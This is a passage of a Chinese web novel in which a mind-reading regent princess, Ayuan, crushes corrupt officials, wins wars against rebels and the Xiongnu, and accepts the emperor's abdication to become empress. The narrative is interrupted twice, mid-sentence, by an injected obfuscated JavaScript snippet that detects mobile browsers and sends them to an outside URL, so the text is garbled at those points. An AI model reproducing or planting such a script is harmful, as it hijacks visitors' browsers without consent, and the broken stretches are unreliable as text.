阿沅看着慌乱无措的苏瑾,看着噤若寒蝉的“帝党”官员,心底虽有不满,却也知道此刻不是追究责任的时候。她缓步走出,对着苏瑾躬身道:“陛下,事已至此,当以平定西南叛乱、安抚流民为首要任务,过往的过错,暂且不论。西南局势危急,藩王残余势力与蛮族勾结,又有匈奴暗中觊觎,地方守军无力应对,必须派遣京中禁军前往清剿。臣请命,以赵谦为行军大元帅,率五万禁军,星夜赶赴西南,清剿叛乱;同时令户部拨银两百万两,前往西南安抚流民,开仓放粮,重建城池;另派使者前往匈奴,严正警告,令其不得与蛮族勾结,否则大楚必倾全国之兵,与其死战。” 阿沅的决策,条理清晰,杀伐果断,瞬间稳住了慌乱的朝局。众臣纷纷附议,道:“长公主所言极是,臣等附议!” 苏瑾看着阿沅沉稳果决的模样,听着满朝文武的附议之声,心底的慌乱渐渐散去,却也生出了一丝深深的挫败感:【每次遇到大事,朕都束手无策,唯有阿沅姐姐能稳住局面,朕这个帝王,当得何其窝囊。】他强压着心底的挫败,点了点头,道:“准奏,就依阿沅姐姐所言,赵谦为行军大元帅,率五万禁军赶赴西南,其余诸事,皆由阿沅姐姐全权督办。” 阿沅躬身应道:“臣遵旨。” 随后,阿沅便开始紧锣密鼓地部署西南平叛之事。她令赵谦即刻点兵,准备粮草兵器,三日后便率军出发;又令户部尚书亲自督办银两调拨,确保赈灾银两能及时送达西南;同时派遣经验丰富的使臣,携带国书前往匈奴,严正警告其不得轻举妄动。一切部署有条不紊,可阿沅却深知,此次西南平叛,绝非易事。 藩王残余势力与蛮族勾结,熟悉西南的地形,又占据了深山险地,易守难攻;而五万禁军长途跋涉,水土不服,又不熟悉地形,作战难度极大。更重要的是,她从赵谦的心声里,听到了一个令人心惊的消息——京中禁军的粮草储备,竟被“帝党”的户部官员暗中克扣了一部分,不少粮草都已发霉变质,兵器也有不少是残次品。【这些狗官,竟敢克扣禁军粮草兵器,这是想要害死五万禁军将士!若不是临行前检查,恐怕将士们到了西南,就要忍饥挨饿,用残次品兵器作战,必败无疑!】 阿沅得知此事后,眼底掠过一丝冰冷的杀意。这些“帝党”官员,为了一己私利,竟然敢克扣军饷粮草,置五万禁军将士的性命于不顾,置西南的平叛大局于不顾,罪该万死!她当即下令,令监察院即刻调查此事,将所有参与克扣粮草兵器的官员悉数拿下,严加审问,同时令工部连夜赶制精良兵器,令内务府打开皇庄的粮仓,调拨优质粮草,确保禁军将士能带着充足的粮草兵器出征。 监察院的行动雷厉风行,短短一日,便将参与克扣粮草兵器的十余名户部官员悉数拿下,这些人皆是苏瑾提拔的“帝党”核心成员,证据确凿,无从抵赖。阿沅当着满朝文武的面,下令将这些官员斩首示众,抄没家产,充入国库,以儆效尤。 金銮殿上,苏瑾看着那些被押下的官员,脸色一阵青一阵白,心底满是羞愧与愤怒。羞愧的是,这些人都是他一手提拔的,却做出如此贪赃枉法、祸国殃民之事;愤怒的是,这些人竟敢利用他的信任,做出这等恶行,置大楚的江山社稷于不顾。他看向阿沅,声音带着几分沙哑的愧疚:“阿沅姐姐,是朕识人不明,提拔了这些奸佞之徒,险些误了西南平叛的大事,朕向你赔罪,也向天下百姓赔罪。” 阿沅看着苏瑾,轻声道:“陛下无需自责,识人不明乃帝王常事,知错能改,善莫大焉。此次之事,也让陛下看清了人心的险恶,日后提拔官员,当以德才为先,不可仅凭一己之好,被小人蒙蔽。如今西南平叛在即,当以大局为重,陛下需振作精神,稳定朝局,为前方将士撑腰。” 苏瑾点了点头,神色坚定道:“阿沅姐姐放心,朕定当铭记此次教训,日后必亲贤远佞,励精图治,绝不再让此类事情发生。前方将士的一切需求,朕都会全力满足,绝无半分懈怠。” 经此一事,苏瑾对那些“帝党”官员彻底心灰意冷,将其余的“帝党”官员悉数贬谪,调离六部关键职位,朝堂之上的“帝党”势力,瞬间土崩瓦解。苏瑾也终于明白,自己虽已亲政,却依旧缺乏识人用人的眼光与处理朝政的能力,若没有阿沅的辅佐,大楚的江山社稷,早已岌岌可危。他彻底放下了心中的芥蒂与执拗,再次对阿沅言听计从,将朝政大权尽数交予阿沅,一心跟在阿沅身边学习,磨练自己的帝王之才。 可即便如此,西南的平叛之战,依旧打得异常艰难。赵谦率领五万禁军赶赴西南后,因水土不服,不少将士染上了瘴气,战斗力大打折扣;又因不熟悉西南的深山地形,屡屡被藩王残余势力与蛮族联军伏击,损兵折将,虽凭借着禁军的精良装备与顽强的战斗力,稳住了阵脚,却始终无法彻底清剿叛军,双方陷入了僵持的局面。 更糟糕的是,匈奴见大楚西南战事吃紧,认为有机可乘,便撕毁了与大楚的和平盟约,率领十万铁骑,南下侵袭大楚北方边境,接连攻破北方三城,烧杀抢掠,直逼幽州。幽州乃北方重镇,若幽州失陷,匈奴铁骑便可长驱直入,直逼洛阳,大楚将陷入南北两线作战的绝境,江山社稷危在旦夕。 南北两线同时告急,大楚陷入了前所未有的内忧外患之中。洛阳城内,人心惶惶,不少百姓开始收拾行装,准备逃离,朝中的一些老臣,甚至提出了迁都江南的建议,认为只有迁都,才能避开匈奴与西南叛军的锋芒,保住大楚的半壁江山。 金銮殿上,迁都的提议一经提出,便引发了激烈的争论。以吏部尚书为首的守旧老臣,纷纷支持迁都,称“留得青山在,不怕没柴烧,迁都江南,可暂避锋芒,休养生息,待日后国力恢复,再北上收复失地”;而以柳太傅、赵谦(派人传信)为首的主战派,则坚决反对迁都,称“迁都乃亡国之兆,一旦迁都,民心涣散,北方疆土将尽失,西南叛军也会更加猖獗,届时大楚将彻底陷入万劫不复之地,唯有拼死一战,方能保住大楚的江山社稷”。 苏瑾坐在龙椅上,看着争论不休的众臣,心底再次陷入了慌乱。他看向站在身侧的阿沅,眼神里满是依赖与期盼,此刻的他,早已没了亲政独断的心思,唯有阿沅,才能成为他的定海神针,才能带领大楚走出这绝境。 阿沅站在龙椅之侧,紫绶朝服加身,神色平静,目光坚定,丝毫没有被眼前的危局所撼动。她听着众臣的争论,听着他们心底的恐惧与犹豫,听着百姓心底的慌乱与不安,耳边还回荡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228629|197582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着西南赵谦与北方守将的心声——赵谦虽陷入僵持,却依旧斗志昂扬,誓要清剿叛军;北方守将虽兵力薄弱,却依旧死守城池,誓与幽州共存亡。 阿沅缓缓抬手,示意众人安静,金銮殿上,瞬间鸦雀无声,所有的目光,都聚焦在她的身上。她的声音清冽而坚定,传遍整个金銮殿,带着一股令人心安的力量:“迁都之事,绝不可行!洛阳乃大楚都城,立国百年,根基深厚,一旦迁都,民心涣散,军心动摇,北方疆土将尽失,西南叛军也会更加猖獗,届时大楚将沦为砧板上的鱼肉,任人宰割!今日我阿沅在此立誓,愿与洛阳共存亡,愿与大楚共存亡!南北两线的战事,虽艰难重重,却并非毫无胜算,只要我大楚上下一心,军民同心,拼死一战,定能击退强敌,保住江山社稷!” 誓言铿锵,掷地有声,让满朝文武的心底,都生出了一丝勇气。阿沅继续道:“如今之计,当分兵御敌,南北兼顾。北方匈奴虽势大,却孤军深入,粮草补给困难,且不擅攻城,只需令北方守将死守幽州,坚壁清野,拖延时间;同时令镇北将军率三万西北铁骑,星夜回援,绕至匈奴后方,断其粮草补给,前后夹击,必能击退匈奴。西南叛军与蛮族勾结,虽占据地形之利,却内部不和,藩王残余势力想要恢复往日的权势,蛮族想要瓜分疆土,二者各怀鬼胎,可派人前往蛮族,晓以利害,许以重利,令其与藩王残余势力反目,同时令赵谦率禁军正面进攻,蛮族若反水,叛军必不战自溃。另令全国各州府招募乡勇,补充兵力,令户部统筹全国粮草,优先供应南北两线战场,令工部赶制精良兵器,支援前线。” 阿沅的决策,字字珠玑,句句切中要害,将南北两线的破局之法分析得透彻无比,瞬间点燃了满朝文武的斗志。柳太傅率先躬身道:“长公主所言极是,老臣愿誓死追随长公主,与大楚共存亡!” 紧接着,满朝文武纷纷躬身,齐声高呼:“臣等愿誓死追随长公主,与大楚共存亡!” 声音整齐而响亮,响彻金銮殿,也传遍了整个洛阳城。百姓得知阿沅的决策与誓言后,心底的慌乱渐渐散去,取而代之的是一股众志成城的决心。不少百姓主动拿出家中的粮食与钱财,支援朝廷,年轻的男子纷纷报名参军,想要奔赴前线,保家卫国,洛阳城内,瞬间凝聚起了一股强大的力量。 苏瑾看着眼前的一切,看着阿沅光芒万丈的模样,心底满是敬佩与感激。他走下龙椅,对着阿沅躬身行礼,声音诚恳而坚定:“阿沅姐姐,朕愿将全国的兵权与朝政大权,悉数交予你,由你全权督办南北两线战事,朕愿做你的后盾,与你并肩作战,共守大楚江山!” 阿沅看着苏瑾,点了点头,躬身道:“臣遵旨。定不辱使命,击退强敌,保住大楚的江山社稷,护天下百姓安居乐业!” 此刻的阿沅,深知自己肩上的担子有千钧之重。南北两线作战,兵力分散,粮草补给困难,蛮族与匈奴皆虎视眈眈,稍有不慎,便会满盘皆输。可她也知道,自己没有退路,大楚的江山社稷,天下的黎民百姓,都在等着她撑起这片天。她的听心异能,是她最大的筹码,她能听到前线将士的心声,能听到敌人的谋划,能听到朝中大臣与百姓的心思,只要利用好这份异能,团结一切可以团结的力量,定能带领大楚走出这绝境。 接下来的日子里,阿沅成了洛阳城最忙碌的人。她每日天不亮便起床,批阅奏折,调兵遣将,督办粮草兵器,接见使臣,常常忙至深夜,甚至连歇息的时间都没有。她的身影,出现在金銮殿、兵部、户部、工部,出现在洛阳的街头巷尾,安抚百姓,鼓舞士气。她的脸上虽带着疲惫,却眼神坚定,步履沉稳,让每一个看到她的人,都心生敬畏与安心。 她派遣能言善辩的使臣,带着重礼前往西南蛮族,晓以利害,称若蛮族继续与藩王残余势力勾结,待大楚平定叛乱后,必倾全国之兵,踏平蛮族领地;若蛮族反水,与大楚联手清剿藩王残余势力,大楚便会承认蛮族的领地,与其互通有无,永结友好。蛮族首领本就对藩王残余势力有所不满,又忌惮大楚的实力,在重礼与威逼利诱之下,终于答应反水,与大楚联手。 她又令镇北将军率三万西北铁骑,星夜回援北方,绕至匈奴后方,断其粮草补给。匈奴铁骑虽骁勇善战,却素来依靠劫掠补充粮草,一旦粮草被断,军心必乱。北方守将在得知援军将至后,士气大振,死守幽州,多次击退匈奴的进攻,拖延了大量的时间。 而阿沅自己,则亲自坐镇兵部,凭借着听心的异能,捕捉着南北两线敌人的心声,及时调整作战策略,给赵谦与镇北将军传递消息,指引他们作战。她听到匈奴单于想要强攻幽州,便令北方守将佯装防守空虚,诱敌深入,设下伏兵;她听到藩王残余势力想要偷袭赵谦的粮草大营,便令赵谦将计就计,设下埋伏,重创叛军。 在阿沅的精准指挥与大楚上下的众志成城之下,南北两线的战局,渐渐开始逆转。西南战场上,蛮族突然反水,从背后袭击藩王残余势力,赵谦率禁军正面进攻,叛军腹背受敌,军心大乱,节节败退,短短一个月,便接连收复失陷的三州,藩王残余势力的首领被生擒活捉,其余部众悉数被清剿,西南叛乱,宣告平定。 北方战场上,镇北将军率西北铁骑成功绕至匈奴后方,烧毁了匈奴的粮草大营,匈奴铁骑军心大乱,单于无奈,只能下令撤军。北方守将与镇北将军率大军乘胜追击,大败匈奴铁骑,收复了失陷的三城,匈奴单于被迫派遣使者前往洛阳,向大楚俯首称臣,献上重礼,请求议和,大楚的北方边境,终于恢复了安稳。 当南北两线平定的捷报传回洛阳时,整个洛阳城都沸腾了。百姓们走上街头,敲锣打鼓,欢呼雀跃,朝中大臣也纷纷向阿沅与苏瑾道贺,金銮殿上,一片欢腾。苏瑾看着站在身侧的阿沅,脸上满是笑容,对着满朝文武高声道:“此次南北两线平定,皆赖阿沅姐姐之功!阿沅姐姐挽狂澜于既倒,扶大厦之将倾,护我大楚江山社稷,护我天下百姓安居乐业,此等功绩,千古无二!朕愿加封阿沅姐姐为‘圣武女皇太妹’,仪仗与帝王等同,位在诸王之上,受百官朝拜!” 满朝文武纷纷躬身,齐声高呼:“陛下圣明!恭贺圣武女皇太妹!” 洛阳城内的百姓,也纷纷跪倒在地,朝着皇宫的方向叩拜,高声呼喊:“恭贺圣武女皇太妹!吾皇万岁万岁万万岁!圣武女皇太妹千岁千岁千千岁!” 呼声震天,响彻云霄,汇聚成一股汹涌的力量,涌向长乐宫,涌向阿沅。此刻的阿沅,站在金銮殿的中央,接受着百官的朝拜与百姓的敬仰,她的威望,达到了前所未有的高度,大楚的百姓与百官,早已将她视作大楚真正的救世主,视作大楚真正的帝王。 而阿沅的心底,也渐渐清楚,自己终究无法再做一个单纯的辅政者。 22. 天命所归,朝野恳请,帝王之路终成行 承平五年冬,大楚的第一场大雪飘落,覆盖了洛阳城的每一个角落,银装素裹,一片祥和。南北两线战事平定后,大楚迎来了真正的国泰民安,阿沅推行的“圣德新政”在全国范围内顺利推行,百姓安居乐业,国库日渐充盈,吏治清明,军队强悍,边陲安稳,一派盛世景象。而阿沅的威望,也随着战事的平定与新政的推行,达到了顶峰,上至文武百官,下至黎民百姓,无不对其心悦诚服,敬仰有加。 苏瑾如今已是十八岁的青年帝王,在阿沅的悉心教导与战事的磨练下,渐渐成熟起来,处理朝政的能力也日益提升,可他始终清楚,自己与阿沅之间,有着天壤之别。阿沅的智慧、魄力、眼光与手腕,都是他望尘莫及的,大楚能有今日的盛世,全赖阿沅之功。而他自己,更像是一个坐在龙椅上的象征,真正支撑着大楚江山的,是站在他身侧的阿沅。 苏瑾的心底,早已没有了丝毫的帝王私心,反而生出了一个坚定的念头——让阿沅登基为帝。他知道,这是违背祖制的,古往今来,从未有女子登基为帝的先例,可他更知道,阿沅是天命所归,是大楚百姓与百官的共同期盼,只有阿沅登基为帝,才能带领大楚走向更加繁荣昌盛的未来,才能让大楚的江山社稷,永远稳固。 这个念头,在苏瑾的心底愈发坚定,他开始暗中与柳太傅、赵谦等核心大臣商议,想要效仿上古禅让之制,将皇位禅让给阿沅。柳太傅与赵谦等人,本就早已心生拥立阿沅为帝之意,只是碍于祖制与帝王颜面,始终不敢轻易启齿,如今苏瑾主动提出禅让,他们自然是举双手赞成,纷纷表示愿全力辅佐阿沅登基为帝,稳定朝局。 可此事终究太过惊世骇俗,一旦传出,必定会引发朝野震动,那些守旧的老臣,必定会极力反对。柳太傅道:“陛下,禅让之事,虽合民心,却违祖制,朝中那些守旧老臣,必定会以‘女子不可为帝’‘牝鸡司晨’为由,极力反对。不如先暗中联络朝中大臣,争取多数人的支持,再昭告天下,举行禅让大典,如此方能确保万无一失。” 苏瑾点了点头,道:“太傅所言极是,此事便交由太傅与赵将军全权负责,联络朝中大臣,争取他们的支持。朕也会亲自出面,劝说那些守旧老臣,让他们看清形势,顺应民心。” 接下来的日子里,柳太傅与赵谦便开始暗中联络朝中大臣,向他们表明苏瑾想要禅让皇位给阿沅的想法。朝中的大多数大臣,早已对阿沅心悦诚服,得知此事后,纷纷表示支持,称“长公主功高盖世,天命所归,登基为帝,乃民心所向,天意所归”。只有少数几位守旧的老臣,如吏部尚书、礼部尚书等,坚决反对,称“祖制不可违,女子不可为帝,否则必遭天谴,动摇国本”。 苏瑾亲自出面,多次召见这些守旧老臣,晓以利害,称“祖制乃死物,民心乃活物,大楚的祖制,本就是为了守护江山社稷,守护百姓安居乐业。如今阿沅姐姐能做到这一点,为何不能登基为帝?况且,阿沅姐姐乃先帝亲封的摄政长公主,与朕有姐弟之名,血脉相连,禅让皇位给她,并非改朝换代,只是传承大楚的江山社稷,何来动摇国本之说?” 可这些守旧老臣,依旧冥顽不灵,以“宁死不从”为由,坚决反对阿沅登基为帝,甚至以辞官归乡相逼。吏部尚书道:“陛下,老臣乃三朝元老,深受先帝厚恩,绝不能眼睁睁看着大楚的江山,落入一个女子手中。若陛下执意禅让皇位给长公主,老臣便辞官归乡,告老还乡,从此不再过问朝政。” 礼部尚书也附和道:“吏部尚书所言极是,女子登基为帝,古往今来从未有过,乃逆天而行,必遭天谴。老臣也愿与吏部尚书一同辞官,以死明志。” 这些守旧老臣的反对,让禅让之事陷入了僵局。柳太傅与赵谦对此十分气愤,想要将这些老臣贬谪,以儆效尤,却被阿沅阻止了。阿沅道:“这些老臣,虽冥顽不灵,却也是忠于大楚,只是被祖制所束缚,并非奸佞之徒。若是强行贬谪,反而会让天下人觉得朕容不得异己,刚愎自用。不如暂且搁置此事,以时间换空间,让他们看清民心所向,慢慢改变想法。” 阿沅的想法,看似退让,实则是最明智的选择。她知道,想要让这些守旧老臣改变想法,不能靠强权,只能靠民心与事实。只要大楚的盛世继续,只要百姓对她的敬仰愈发深厚,这些老臣终究会看清形势,顺应民心。 而阿沅的这份宽容与大度,也让朝中的大臣更加敬佩,百姓也更加爱戴。洛阳城内,渐渐开始出现了各种关于阿沅的祥瑞之说,有百姓称,在洛水河畔看到了凤凰盘旋,凤凰乃百鸟之王,是帝王之兆,预示着阿沅乃天命所归的帝王;还有百姓称,在泰山之巅看到了祥云环绕,祥云聚成“女帝”二字,昭示着上天认可阿沅登基为帝。 这些祥瑞之说,虽无稽之谈,却迅速在全国范围内流传开来,百姓对此深信不疑,纷纷认为阿沅就是天命所归的帝王,登基为帝,乃天意使然。街头巷尾,百姓们纷纷议论,称“长公主乃凤凰降世,天命所归,当为大楚帝王”,甚至有百姓自发组织起来,前往皇宫门口请愿,请求阿沅登基为帝。 第一个前往皇宫请愿的,是洛阳城的百姓,数千名百姓手持香烛,跪在皇宫门口,高声呼喊:“恳请长公主登基为帝,护我大楚江山,佑我天下百姓!”随后,全国各地的百姓纷纷响应,各州府的百姓都自发组织起来,前往当地的官府请愿,请求官府将百姓的意愿上报朝廷,恳请阿沅登基为帝。 短短一个月,全国各地的请愿书,如雪片般飞入洛阳的皇宫,堆积如山。这些请愿书,来自全国各地的百姓,有士族、有农民、有工匠、有商人,上至耄耋老人,下至垂髫孩童,都在请愿书上签下了自己的名字,表达了希望阿沅登基为帝的心愿。 这些守旧老臣,看着堆积如山的请愿书,听着全国各地百姓的呼声,心底的坚持,渐渐开始动摇。他们都是读圣贤书长大的,深知“水能载舟,亦能覆舟”的道理,百姓的意愿,便是天意,若是执意反对,违背民心,恐怕会引火烧身,甚至动摇大楚的江山社稷。吏部尚书看着手中的请愿书,心底满是挣扎:【民心所向,天意使然,难道真的是老臣冥顽不灵,违背了天意?长公主功高盖世,带领大楚走出绝境,开创盛世,确实有帝王之才,或许,女子为帝,并非逆天而行,而是天命所归。】 礼部尚书也对着请愿书,陷入了沉思:【古往今来,从未有女子为帝,可也从未有女子能如长公主一般,安邦定国,开创盛世。祖制乃人定,民心乃天意,天意不可违,民心不可逆,或许,老臣真的该顺应民心,支持长公主登基为帝。】 就在这时,一件事的发生,彻底让这些守旧老臣放下了心中的坚持,转而支持阿沅登基为帝。承平六年春,大楚的泰山发生了轻微的地震,泰山乃五岳之首,是帝王封禅之地,在古人眼中,泰山的异动,乃是上天的警示。那些守旧老臣本以为,这是上天对阿沅即将登基为帝的警示,心中又生出了反对的念头,可没过多久,泰山脚下便传出了消息,称地震后,泰山的石壁上,出现了一行天然的字迹——“楚有女帝,天命所归,盛世永昌”。 此事一出,朝野震动,全国百姓更是深信不疑,认为这是上天明确的旨意,阿沅就是大楚天命所归的女帝。那些守旧老臣,在看到泰山石壁上的字迹后,彻底放下了心中的坚持,纷纷前往皇宫,向苏瑾请罪,称自己“冥顽不灵,违背天意与民心”,同时恳请苏瑾尽快举行禅让大典,让阿沅登基为帝。 吏部尚书跪在金銮殿上,老泪纵横:“陛下,老臣愚昧,被祖制所束缚,执意反对长公主登基为帝,如今上天降下旨意,泰山石壁显字,昭示长公主乃天命所归,老臣知错了,恳请陛下尽快举行禅让大典,让长公主登基为帝,顺应天意,安抚民心。” 礼部尚书也跟着跪倒在地:“老臣也知错了,天意不可违,民心不可逆,长公主乃天命所归的女帝,老臣愿全力辅佐长公主登基为帝,开创大楚的盛世华章。” 其余的守旧老臣,也纷纷跪倒请罪,恳请苏瑾举行禅让大典。至此,朝中所有大臣,皆一致支持阿沅登基为帝,再也没有一人反对。 苏瑾看着满朝文武跪倒在地,听着他们恳请阿沅登基为帝的呼声,脸上满是笑容。他知道,时机已经成熟,禅让之事,可正式提上日程了。他当即下令,昭告天下,称自己“德薄才疏,难当帝王之任,摄政长公主阿沅,功高盖世,天命所归,民心所向,朕愿效仿上古禅让之制,将皇位禅让给阿沅,择吉日举行禅让大典,拥立阿沅为大楚新帝”。 旨意颁行天下,全国百姓一片欢腾,纷纷奔走相告,称“大楚有女帝,盛世将永昌”。各地的官员,也纷纷上奏,请求尽快举行禅让大典,拥立阿沅登基为帝。 长乐宫内,阿沅手持苏瑾的禅让旨意,看着窗外漫天飞舞的雪花,耳边听着满朝文武与全国百姓的呼声,心底百感交集。从尚书府的一个底层浣衣丫鬟,到皇宫的一个普通宫女,再到摄政长公主,如今,她即将登上那至高无上的帝王之位,成为大楚历史上第一位,也是古往今来第一位女帝。 这一路走来,她历经了无数的艰难险阻,尝尽了人间的酸甜苦辣,有过绝望,有过挣扎,有过疲惫,可她始终没有放弃,始终坚守着自己的初心,守护着大楚的江山社稷,守护着天下的黎民百姓。她的听心异能,让她看清了人心的险恶,也让她感受到了民心的温暖;让她躲过了一次又一次的危机,也让她一步步走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228630|197582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向了权力的顶峰。 她的手中,依旧紧紧攥着母亲留给她的那支银簪,这支银簪,陪伴着她走过了无数的风雨,见证了她的成长与蜕变。她轻轻抚摸着银簪,在心底默默道:“娘,女儿做到了,女儿即将成为大楚的帝王,即将登上那至高无上的位置。女儿会带着您的期盼,带着大楚百姓的期盼,励精图治,开创盛世,让大楚的江山社稷,永远稳固,让天下的黎民百姓,永远安居乐业。” 窗外的雪花,依旧在飞舞,可长乐宫内,却一片温暖。柳太傅与赵谦走进殿内,躬身道:“长公主,如今朝野上下,民心所向,天意使然,禅让大典的吉日已择定,就在承平六年正月十五,元宵佳节。届时,将在洛阳城南的天坛,举行禅让大典,拥立长公主为大楚新帝。” 阿沅点了点头,放下银簪,神色平静而坚定:“劳烦太傅与将军费心了,一切事宜,皆由二位全权督办,务必确保禅让大典顺利进行。” “老臣/末将遵旨。”柳太傅与赵谦躬身应道,脸上满是激动与喜悦。 承平六年正月十五,元宵佳节,洛阳城内张灯结彩,一片喜庆。城南的天坛,早已被布置得庄严肃穆,天坛之上,摆放着祭天的礼器,天坛之下,文武百官身着朝服,整齐排列,全国各地的百姓代表,也纷纷前来,见证这一历史性的时刻。 吉时已到,钟声敲响,苏瑾身着帝王龙袍,手持传国玉玺,缓步走上天坛,阿沅身着紫绶朝服,跟在他的身后。天坛之下,文武百官与百姓代表,纷纷跪倒在地,行三跪九叩大礼,高声呼喊:“吾皇万岁万岁万万岁!” 苏瑾走到天坛的中央,转过身,看着跪在地上的满朝文武与百姓代表,又看了看身侧的阿沅,声音诚恳而坚定:“朕德薄才疏,自登基以来,多亏阿沅姐姐辅佐,方才有大楚今日的盛世。阿沅姐姐功高盖世,天命所归,民心所向,朕愿效仿上古禅让之制,将皇位禅让给阿沅姐姐,拥立阿沅姐姐为大楚新帝,望阿沅姐姐能励精图治,护我大楚江山社稷,佑我天下百姓安居乐业!” 说完,苏瑾便双手捧着传国玉玺,递到阿沅面前,躬身道:“请新帝接玺!” 阿沅看着眼前的传国玉玺,看着苏瑾诚恳的眼神,看着天坛之下跪倒的满朝文武与百姓代表,听着他们震耳欲聋的呼声,心底的情绪,再也抑制不住,眼眶微微泛红。她缓缓伸出手,接过传国玉玺,玉玺入手沉重,这是大楚的江山社稷,是天下百姓的期盼,是她一生的坚守与追求。 阿沅手持传国玉玺,缓步走到天坛的中央,转过身,面向满朝文武与百姓代表,紫绶朝服在风中微微扬动,虽为女子,却自带一股君临天下的威严。她的声音清冽而坚定,传遍天坛的每一个角落,传遍洛阳城,传遍大楚的每一寸土地:“吾阿沅,受先帝遗命,辅政多年,今受陛下禅让,承天命,顺民心,登基为大楚皇帝。自今日起,定当励精图治,亲贤远佞,轻徭薄赋,与民休息;整肃吏治,严明法纪;强军固边,守护疆土;开创盛世,永昌大楚!吾将以江山为诺,以百姓为念,一生一世,守护大楚的江山社稷,守护天下的黎民百姓!若违此誓,天诛地灭,不得善终!” 誓言落下,天坛之上,礼炮齐鸣,钟鼓喧天。天坛之下,满朝文武与百姓代表,再次行三跪九叩大礼,高声呼喊:“吾皇万岁万岁万万岁!女皇陛下万岁万岁万万岁!” 呼声震天,响彻云霄,久久不散。洛阳城内的百姓,也纷纷跪倒在地,朝着天坛的方向叩拜,呼喊着女皇陛下万岁。大楚的每一寸土地,都回荡着这震耳欲聋的呼声,这呼声,代表着民心,代表着期盼,代表着大楚一个全新的时代,正式开启。 阿沅站在天坛之上,手持传国玉玺,看着脚下的万里江山,看着眼前的黎民百姓,眼神坚定,目光如炬。她知道,登基为帝,只是一个新的开始,未来的道路,依旧布满荆棘,她需要面对的,不仅有朝堂之上的权力平衡,还有天下百姓的期盼,还有周边各国的虎视眈眈。可她无所畏惧,她有听心的异能,有满朝文武的辅佐,有天下百姓的支持,有一颗守护江山社稷、黎民百姓的初心。 她将以女子之身,登上帝王之位,打破古往今来的桎梏,开创一个前所未有的盛世。她的名字,阿沅,将被载入史册,成为大楚历史上最传奇的女皇,成为古往今来最耀眼的女性帝王。而她的故事,从一个听心丫鬟到一代女皇的传奇旅程,也将永远流传,被后世之人所敬仰,所传颂。 天坛之上,雪花早已停歇,阳光穿透云层,洒在阿沅的身上,为她镀上了一层金色的光晕,宛如真正的天命之主,君临天下。大楚的女皇时代,正式拉开帷幕,而属于阿沅的帝王传奇,也将在这片土地上,继续书写,永垂不朽。 23. 初登帝位,百废待兴,庙堂江湖皆多艰 承平六年正月十五,阿沅于洛阳天坛登基为帝,定国号仍为楚,改元“昭宁”,成为大楚历史上第一位女帝,亦是华夏大地数千年来首位真正临朝主政的女皇。登基大典那日,天朗气清,万里无云,洛阳城万人空巷,百姓夹道相迎,山呼万岁,可阿沅站在太和殿的龙椅旁,指尖抚过冰凉的龙纹,耳边除了百官的恭贺,更多的是藏在心底的试探、疑虑,甚至还有暗戳戳的抵触。 【女帝登基,古未有之,不知这大楚的江山,能在她手里撑多久?】这是三朝老臣太尉周秉的心声,他虽跪拜行礼,脊背却挺得笔直,眼底藏着难以掩饰的守旧。 【女皇能平叛、能安邦,可后宫无主,皇嗣何来?大楚的江山,终究要有血脉传承才是。】这是御史大夫秦松的心思,他忧心的是国本传承,却也囿于“男尊女卑”的桎梏,想的仍是女子当以生养为要。 【陛下刚登基,根基未稳,那些藩王旧部、边境异族,怕是会趁机作乱,等着看我大楚的笑话。】这是禁军统领赵谦的担忧,他手握兵权,一心护主,却也看清了新朝初立的危局。 阿沅坐在龙椅上,身着十二章纹的明黄龙袍,头戴珠翠九龙冠,虽为女子,却自有一股君临天下的威严。她听着百官各异的心声,神色平静,无悲无喜。登基大典结束后,她并未沉溺于庆贺,而是即刻召柳太傅、赵谦、户部尚书苏文等核心大臣入御书房议事,开口便直奔主题:“诸位卿家,朕虽登基,可大楚历经藩王之乱、南北战事,已是百废待兴。朝堂之上,守旧之风未除;地方之中,吏治仍有疏漏;边境之上,异族虎视眈眈;民间之中,百姓虽安,却仍有饥寒之苦。今日召诸位前来,便是要共商治国之策,朕知前路多艰,却愿与诸位并肩,开创大楚新局。” 柳太傅躬身道:“陛下圣明。新朝初立,首重安内。如今朝堂之上,尚有不少大臣对女帝临朝心存芥蒂,虽不敢明言,却难免在行事上有所掣肘。老臣以为,当先整肃朝纲,明赏罚、立规矩,让百官知晓,陛下虽为女子,却有帝王之能,凡尽心办事者,必受重赏;凡阳奉阴违、恃旧妄为者,必受严惩。” 户部尚书苏文亦道:“柳太傅所言极是。如今国库虽因抄没藩王、赵王家产稍有充盈,可经连年战事,民生凋敝,黄河沿岸虽经修缮,却仍有隐患,西南各州府战后重建急需银两,北方边境驻军的军饷、粮草也需及时补给。臣核算过,今年国库收支仍有亏空,需尽快开辟财源,同时节流缩支,方能支撑国用。” 赵谦接话道:“边境之上,匈奴虽俯首称臣,却只是权宜之计,其主力尚存,仍在北方边境屯兵,伺机而动;西方吐蕃见我大楚易主,也已在边境增兵,频频试探;西南蛮族虽与我朝联手平叛,却也贪得无厌,屡次派人前来索要赏赐,若不满足,便在边境滋扰生事。臣以为,当加强边境布防,同时恩威并施,安抚异族,震慑宵小。” 